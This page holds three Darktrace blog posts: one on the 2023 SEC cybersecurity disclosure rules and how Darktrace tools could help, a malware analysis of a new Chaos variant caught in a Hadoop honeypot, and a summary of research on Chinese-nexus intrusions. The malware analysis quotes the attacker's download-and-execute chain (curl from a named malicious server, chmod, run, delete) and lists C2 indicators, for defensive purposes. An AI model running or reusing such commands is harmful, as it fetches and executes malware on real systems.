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July 17, 2024

What you need to know about the new SEC Cybersecurity rules

In July 2023, the U.S. Securities and Exchange Commission (SEC) adopted new rules concerning cybersecurity incidents and disclosures. This blog describes the new rules and demonstrates how Darktrace can help organizations achieve compliance with these standards.
Inside the SOC
Darktrace cyber analysts are world-class experts in threat intelligence, threat hunting and incident response, and provide 24/7 SOC support to thousands of Darktrace customers around the globe. Inside the SOC is exclusively authored by these experts, providing analysis of cyber incidents and threat trends, based on real-world experience in the field.
Written by
Kendra Gonzalez Duran
Principal Analyst
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17
Jul 2024

What is new in 2023 to SEC cybersecurity rules?

Form 8-K Item 1.05: Requiring the timely disclosure of material cybersecurity incidents.

Regulation S-K item 106: requiring registrants’ annual reports on Form 10-K to address cybersecurity risk management, strategy, and governance processes.

Comparable disclosures are required for reporting foreign private issuers on Forms 6-K and 20-F respectively.

What is Form 8-K Item 1.05 SEC cybersecurity rules?

Form 8-K Item 1.05 requires the following to be reported within four business days from when an incident is determined to be “material” (1), unless extensions are granted by the SEC under certain qualifying conditions:

“If the registrant experiences a cybersecurity incident that is determined by the registrant to be material, describe the material aspects of the nature, scope, and timing of the incident, and the material impact or reasonably likely material impact on the registrant, including its financial condition and results of operations.” (2, 3)

How does the SEC define cybersecurity incident?

Cybersecurity incident defined by the SEC means an unauthorized occurrence, or a series of related unauthorized occurrences, on or conducted through a registrant’s information systems that jeopardizes the confidentiality, integrity, or availability of a registrant’s information systems or any information residing therein. (4)

How can Darktrace assist in the process of disclosing incidents to the SEC?

Accelerate reporting

Darktrace’s Cyber AI Analyst generates automated reports that synthesize discrete data points potentially indicative of cybersecurity threats, forming reports that provide an overview of the evolution and impact of a threat.

Thus, when a potential threat is identified by Darktrace, AI Analyst can quickly compile information that organizations might include in their disclosure of an occurrence they determined to be material, including the following: incident timelines, incident events, incident summary, related model breaches, investigation process (i.e., how Darktrace’s AI conducted the investigation), linked incident events, and incident details. The figure below illustrates how Darktrace compiles and presents incident information and insights in the UI.

Overview of information provided in an ‘AI Analyst Report’ that could be relevant to registrants reporting a material cybersecurity incident to the SEC
Figure 1: Overview of information provided in an ‘AI Analyst Report’ that could be relevant to registrants reporting a material cybersecurity incident to the SEC

It should be noted that Instruction 4 to the new Form 8-K Item 1.05 specifies the “registrant need not disclose specific or technical information about its planned response to the incident or its cybersecurity systems, related networks and devices, or potential system vulnerabilities in such detail as would impede the registrant’s response or remediation of the incident” (5).

As such, the incident report generated by Darktrace may provide more information, including technical details, than is needed for the 8-K disclosure. In general, users should take appropriate measures to ensure that the information they provide in SEC reports meets the requirements outlined by the relevant regulations. Darktrace cannot recommend that an incident should be reported, nor report an incident itself.

Determine if a cybersecurity incident is material

Item 1.05 requires registrants to determine for themselves whether cybersecurity incidents qualify as ‘material’. This involves considerations such as ‘the nature scope and timing of the incident, and the material impact or reasonably likely material impact on the registrant, including its financial condition and results of operations.’

While it is up to the registrant to determine, consistent with existing legal standards, the materiality of an incident, Darktrace’s solution can provide relevant information which might aid in this evaluation. Darktrace’s Threat Visualizer user interface provides a 3-D visualization of an organization’s digital environment, allowing users to assess the likely degree to which an attack may have spread throughout their digital environment. Darktrace Cyber AI Analyst identifies connections among discrete occurrences of threatening activity, which can help registrants quickly assess the ‘scope and timing of an incident'.

Furthermore, in order to establish materiality it would be useful to understand how an attack might extend across recipients and environments. In the image below, Darktrace/Email identifies how a user was impacted across different platforms. In this example, Darktrace/Email identified an attacker that deployed a dual channel social engineering attack via both email and a SaaS platform in an effort to acquire login credentials. In this case, the attacker useding a legitimate SharePoint link that only reveals itself to be malicious upon click. Once the attacker gained the credentials, it proceeded to change email rules to obfuscate its activity.

Darktrace/Email presents this information in one location, making such investigations easier for the end user.

Darktrace/Email indicating a threat across SaaS and email
Figure 2: Darktrace/Email indicating a threat across SaaS and email

What is regulation S-K item 106 of the SEC cybersecurity rules?

The new rules add Item 106 to Regulation S-K requiring registrants to disclose certain information regarding their risk management, strategy, and governance relating to cybersecurity in their annual reports on Form 10-K. The new rules add Item 16K to Form 20-F to require comparable disclosure by [foreign private issuers] in their annual reports on Form 20-F. (6)

SEC cybersecurity rules: Risk management

Specifically, with respect to risk management, Item 106(b) and Item 16K(b) require registrants to describe their processes, if any, for assessing, identifying, and managing material risks from cybersecurity threats, as well as whether any risks from cybersecurity threats, including as a result of any previous cybersecurity incidents, have materially affected or are reasonably likely to materially affect them. The new rules include a non-exclusive list of disclosure items registrants should provide based on their facts and circumstances. (6)

SEC cybersecurity rules: Governance

With respect to governance, Item 106 and Item 16K require registrants to describe the board of directors’ oversight of risks from cybersecurity threats (including identifying any board committee or subcommittee responsible for such oversight) and management’s role in assessing and managing material risks from cybersecurity threats. (6)

How can Darktrace solutions aid in disclosing their risk management, strategy, and governance related to cybersecurity?

Impact scores

Darktrace End-to-End (E2E) leverages AI to understand the complex relationships across users and devices to model possible attack paths, giving security teams a contextual understanding of risk across their digital environments beyond isolated CVEs or CVSS scores. Additionally, teams can prioritize risk management actions to increase their cyber resilience through the E2E Advisory dashboard.

Attack paths consider:

  • Potential damages: Both the potential consequences if a given device was compromised and its immediate implications on other devices.
  • Exposure: Devices' level of interactivity and accessibility. For example, how many emails does a user get via mailing lists and from what kind of sources?
  • Impact: Where a user or asset sits in terms of the IT or business hierarchy and how they communicate with each other. Darktrace can simulate a range of possible outcomes for an uncertain event.
  • Weakness: A device’s patch latency and difficulty, a composite metric that looks at attacker MITRE methods and our own scores to determine how hard each stage of compromise is to achieve.

Because the SEC cybersecurity rules require “oversight of risks from cybersecurity threats” and “management’s role in assessing and managing material risks from cybersecurity threats” (6), the scores generated by Darktrace E2E can aid end-user’s ability to identify risks facing their organization and assign responsibilities to address those risks.

E2E attack paths leverage a deep understanding of a customer’ digital environment and highlight potential attack routes that an attacker could leverage to reach critical assets or entities. Difficulty scores (see Figure 5) allow security teams to measure potential damage, exposure, and impact of an attack on a specific asset or entity.

An example of an attack path in a digital environment
Figure 3: An example of an attack path in a digital environment

Automatic executive threat reports

Darktrace’s solution automatically produces Executive Threat Reports that present a simple visual overview of model breaches (i.e., indicators of unusual and threatening behaviors) and activity in the network environment. Reports can be customized to include extra details or restricted to high level information.

These reports can be generated on a weekly, quarterly, and yearly basis, and can be documented by registrants in relation to Item 106(b) to document parts of their efforts toward assessing, identifying, and managing material risks from cybersecurity threats.

Moreover, Cyber AI Analyst incident reports (described above) can be leveraged to document key details concerning significant previous incidents identified by the Darktrace solution that the registrant determined to be ‘material’.

While the disclosures required by Item 106(c) relate to the governance processes by which the board of directors, the management, and other responsible bodies within an organization oversee risks resulting from cybersecurity threats, the information provided by Darktrace’s Executive Threat Reports and Cyber AI Analyst incident reports can also help relevant stakeholders communicate more effectively regarding the threat landscape and previous incidents.

DISCLAIMER

The material above is provided for informational purposes only. This summary does not constitute legal or compliance advice, recommendations, or guidance. Darktrace encourages you to verify the contents of this summary with your own advisors.

References

  1. Note that the rule does not set forth any specific timeline between the incident and the materiality determination, but the materiality determination should be made without unreasonable delay.
  2. https://www.sec.gov/files/form8-k.pdf
  3. https://www.sec.gov/news/press-release/2023-139
  4. https://www.ecfr.gov/current/title-17/chapter-II/part-229
  5. https://www.sec.gov/files/form8-k.pdf
  6. https://www.sec.gov/corpfin/secg-cybersecurity
Inside the SOC
Darktrace cyber analysts are world-class experts in threat intelligence, threat hunting and incident response, and provide 24/7 SOC support to thousands of Darktrace customers around the globe. Inside the SOC is exclusively authored by these experts, providing analysis of cyber incidents and threat trends, based on real-world experience in the field.
Written by
Kendra Gonzalez Duran
Principal Analyst

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April 7, 2026

Darktrace Identifies New Chaos Malware Variant Exploiting Misconfigurations in the Cloud

Chaos Malware Variant Exploiting Misconfigurations in the CloudDefault blog imageDefault blog image

Introduction

To observe adversary behavior in real time, Darktrace operates a global honeypot network known as “CloudyPots”, designed to capture malicious activity across a wide range of services, protocols, and cloud platforms. These honeypots provide valuable insights into the techniques, tools, and malware actively targeting internet‑facing infrastructure.

One example of software targeted within Darktrace’s honeypots is Hadoop, an open-source framework developed by Apache that enables the distributed processing of large data sets across clusters of computers. In Darktrace’s honeypot environment, the Hadoop instance is intentionally misconfigured to allow attackers to achieve remote code execution on the service. In one example from March 2026, this enabled Darktrace to identify and further investigate activity linked to Chaos malware.

What is Chaos Malware?

First discovered by Lumen’s Black Lotus Labs, Chaos is a Go-based malware [1]. It is speculated to be of Chinese origin, based on Chinese language characters found within strings in the sample and the presence of zh-CN locale indicators. Based on code overlap, Chaos is likely an evolution of the Kaiji botnet.

Chaos has historically targeted routers and primarily spreads through SSH brute-forcing and known Common Vulnerabilities and Exposures (CVEs) in router software. It then utilizes infected devices as part of a Distributed Denial-of-Service (DDoS) botnet, as well as cryptomining.

Darktrace’s view of a Chaos Malware Compromise

The attack began when a threat actor sent a request to an endpoint on the Hadoop deployment to create a new application.

The initial infection being delivered to the unsecured endpoint.
Figure 1: The initial infection being delivered to the unsecured endpoint.

This defines a new application with an initial command to run inside the container, specified in the command field of the am-container-spec section. This, in turn, initiates several shell commands:

  • curl -L -O http://pan.tenire[.]com/down.php/7c49006c2e417f20c732409ead2d6cc0. - downloads a file from the attacker’s server, in this case a Chaos agent malware executable.
  • chmod 777 7c49006c2e417f20c732409ead2d6cc0. - sets permissions to allow all users to read, write, and execute the malware.
  • ./7c49006c2e417f20c732409ead2d6cc0. - executes the malware
  • rm -rf 7c49006c2e417f20c732409ead2d6cc0. - deletes the malware file from the disk to reduce traces of activity.

In practice, once this application is created an attacker-defined binary is downloaded from their server, executed on the system, and then removed to prevent forensic recovery. The domain pan.tenire[.]com has been previously observed in another campaign, dubbed “Operation Silk Lure”, which delivered the ValleyRAT Remote Access Trojan (RAT) via malicious job application resumes. Like Chaos, this campaign featured extensive Chinese characters throughout its stages, including within the fake resume themselves. The domain resolves to 107[.]189.10.219, a virtual private server (VPS) hosted in BuyVM’s Luxembourg location, a provider known for offering low-cost VPS services.

Analysis of the updated Chaos malware sample

Chaos has historically targeted routers and other edge devices, making compromises of Linux server environments a relatively new development. The sample observed by Darktrace in this compromise is a 64-bit ELF binary, while the majority of router hardware typically runs on ARM, MIPS, or PowerPC architecture and often 32-bit.

The malware sample used in the attack has undergone notable restructuring compared to earlier versions. The default namespace has been changed from “main_chaos” to just “main”, and several functions have been reworked. Despite these changes, the sample retains its core features, including persistence mechanisms established via systemd and a malicious keep-alive script stored at /boot/system.pub.

The creation of the systemd persistence service.
Figure 2: The creation of the systemd persistence service.

Likewise, the functions to perform DDoS attacks are still present, with methods that target the following protocols:

  • HTTP
  • TLS
  • TCP
  • UDP
  • WebSocket

However, several features such as the SSH spreader and vulnerability exploitation functions appear to have been removed. In addition, several functions that were previously believed to be inherited from Kaiji have also been changed, suggesting that the threat actors have either rewritten the malware or refactored it extensively.

A new function of the malware is a SOCKS proxy. When the malware receives a StartProxy command from the command-and-control (C2) server, it will begin listening on an attacker-controlled TCP port and operates as a SOCKS5 proxy. This enables the attacker to route their traffic via the compromised server and use it as a proxy. This capability offers several advantages: it enables the threat actor to launch attacks from the victim’s internet connection, making the activity appear to originate from the victim instead of the attacker, and it allows the attacker to pivot into internal networks only accessible from the compromised server.

The command processor for StartProxy. Due to endianness, the string is reversed.
Figure 3: The command processor for StartProxy. Due to endianness, the string is reversed.

In previous cases, other DDoS botnets, such as Aisuru, have been observed pivoting to offer proxying services to other cybercriminals. The creators of Chaos may have taken note of this trend and added similar functionality to expand their monetization options and enhance the capabilities of their own botnet, helping ensure they do not fall behind competing operators.

The sample contains an embedded domain, gmserver.osfc[.]org[.]cn, which it uses to resolve the IP of its C2 server.  At time or writing, the domain resolves to 70[.]39.181.70, an IP owned by NetLabel Global which is geolocated at Hong Kong.

Historically, the domain has also resolved to 154[.]26.209.250, owned by Kurun Cloud, a low-cost VPS provider that offers dedicated server rentals. The malware uses port 65111 for sending and receiving commands, although neither IP appears to be actively accepting connections on this port at the time of writing.

Key takeaways

While Chaos is not a new malware, its continued evolution highlights the dedication of cybercriminals to expand their botnets and enhance the capabilities at their disposal. Previously reported versions of Chaos malware already featured the ability to exploit a wide range of router CVEs, and its recent shift towards targeting Linux cloud-server vulnerabilities will further broaden its reach.

It is therefore important that security teams patch CVEs and ensure strong security configuration for applications deployed in the cloud, particularly as the cloud market continues to grow rapidly while available security tooling struggles to keep pace.

The recent shift in botnets such as Aisuru and Chaos to include proxy services as core features demonstrates that denial-of-service is no longer the only risk these botnets pose to organizations and their security teams. Proxies enable attackers to bypass rate limits and mask their tracks, enabling more complex forms of cybercrime while making it significantly harder for defenders to detect and block malicious campaigns.

Credit to Nathaniel Bill (Malware Research Engineer)
Edited by Ryan Traill (Content Manager)

Indicators of Compromise (IoCs)

ae457fc5e07195509f074fe45a6521e7fd9e4cd3cd43e42d10b0222b34f2de7a - Chaos Malware hash

182[.]90.229.95 - Attacker IP

pan.tenire[.]com (107[.]189.10.219) - Server hosting malicious binaries

gmserver.osfc[.]org[.]cn (70[.]39.181.70, 154[.]26.209.250) - Attacker C2 Server

References

[1] - https://blog.lumen.com/chaos-is-a-go-based-swiss-army-knife-of-malware/

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About the author
Nathaniel Bill
Malware Research Engineer

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April 2, 2026

How Chinese-Nexus Cyber Operations Have Evolved – And What It Means For Cyber Risk and Resilience 

Chinese-Nexus Cyber OperationsDefault blog imageDefault blog image

Cybersecurity has traditionally organized risk around incidents, breaches, campaigns, and threat groups. Those elements still matter—but if we fixate on individual incidents, we risk missing the shaping of the entire ecosystem. Nation‑state–aligned operators are increasingly using cyber operations to establish long-term strategic leverage, not just to execute isolated attacks or short‑term objectives.  

Our latest research, Crimson Echo, shifts the lens accordingly. Instead of dissecting campaigns, malware families, or actor labels as discrete events, the threat research team analyzed Chinese‑nexus activity as a continuum of behaviors over time. That broader view reveals how these operators position themselves within environments: quietly, patiently, and persistently—often preparing the ground long before any recognizable “incident” occurs.  

How Chinese-nexus cyber threats have changed over time

Chinese-nexus cyber activity has evolved in four phases over the past two decades. This ranges from early, high-volume operations in the 1990s and early 2000s to more structured, strategically-aligned activity in the 2010s, and now toward highly adaptive, identity-centric intrusions.  

Today’s phase is defined by scale, operational restraint, and persistence. Attackers are establishing access, evaluating its strategic value, and maintaining it over time. This reflects a broader shift: cyber operations are increasingly integrated into long-term economic and geopolitical strategies. Access to digital environments, specifically those tied to critical national infrastructure, supply chains, and advanced technology, has become a form of strategic leverage for the long-term.  

How Darktrace analysts took a behavioral approach to a complex problem

One of the challenges in analyzing nation-state cyber activity is attribution. Traditional approaches often rely on tracking specific threat groups, malware families, or infrastructure. But these change constantly, and in the case of Chinese-nexus operations, they often overlap.

Crimson Echo is the result of a retrospective analysis of three years of anomalous activity observed across the Darktrace fleet between July 2022 and September 2025. Using behavioral detection, threat hunting, open-source intelligence, and a structured attribution framework (the Darktrace Cybersecurity Attribution Framework), the team identified dozens of medium- to high-confidence cases and analyzed them for recurring operational patterns.  

This long-horizon, behavior-centric approach allows Darktrace to identify consistent patterns in how intrusions unfold, reinforcing that behavioral patterns that matter.  

What the data shows

Several clear trends emerged from the analysis:

  • Targeting is concentrated in strategically important sectors. Across the dataset, 88% of intrusions occurred in organizations classified as critical infrastructure, including transportation, critical manufacturing, telecommunications, government, healthcare, and Information Technology (IT) services.  
  • Strategically important Western economies are a primary focus. The US alone accounted for 22.5% of observed cases, and when combined with major European economies including Germany, Italy, Spain and the UK, over half of all intrusions (55%) were concentrated in these regions.  
  • Nearly 63% of intrusions of intrusions began with the exploitation of internet-facing systems, reinforcing the continued risk posed by externally exposed infrastructure.  

Two models of cyber operations

Across the dataset, Chinese-nexus activity followed two operational models.  

The first is best described as “smash and grab.” These are short-horizon intrusions optimized for speed. Attackers move quickly – often exfiltrating data within 48 hours – and prioritize scale over stealth. The median duration of these compromises is around 10 days. It’s clear they are willing to risk detection for short-term gain.  

The second is “low and slow.” These operations were less prevalent in the dataset, but potentially more consequential. Here, attackers prioritize persistence, establishing durable access through identity systems and legitimate administrative tools, so they can maintain access undetected for months or even years. In one notable case, the actor had fully compromised the environment and established persistence, only to resurface in the environment more than 600 days after. The operational pause underscores both the depth of the intrusion and the actor’s long‑term strategic intent. This suggests that cyber access is a strategic asset to preserve and leverage over time, and we observed these attacks most often inin sectors of the high strategic importance.  

It’s important to note that the same operational ecosystem can employ both models concurrently, selecting the appropriate model based on target value, urgency, intended access. The observation of a “smash and grab” model should not be solely interpreted as a failure of tradecraft, but instead an operational choice likely aligned with objectives. Where “low and slow” operations are optimized for patience, smash and grab is optimized for speed; both seemingly are deliberate operational choices, not necessarily indicators of capability.  

Rethinking cyber risk

For many organizations, cyber risk is still framed as a series of discrete events. Something happens, it is detected and contained, and the organization moves on. But persistent access, particularly in deeply interconnected environments that span cloud, identity-based SaaS and agentic systems, and complex supply chain networks, creates a major ongoing exposure risk. Even in the absence of disruption or data theft, that access can provide insight into operations, dependencies, and strategic decision-making. Cyber risk increasingly resembles long-term competitive intelligence.  

This has impact beyond the Security Operations Center. Organizations need to shift how they think about governance, visibility, and resilience, and treat cyber exposure as a structural business risk instead of an incident response challenge.  

What comes next

The goal of this research is to provide a clearer understanding of how these operations work, so defenders can recognize them earlier and respond more effectively. That includes shifting from tracking indicators to understanding behaviors, treating identity providers as critical infrastructure risks, expanding supplier oversight, investing in rapid containment capabilities, and more.  

Learn more about the findings of Darktrace’s latest research, Crimson Echo: Understanding Chinese-nexus Cyber Operations Through Behavioral Analysis, by downloading the full report and summaries for business leaders, CISOs, and SOC analysts here.  

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About the author
Nathaniel Jones
VP, Security & AI Strategy, Field CISO
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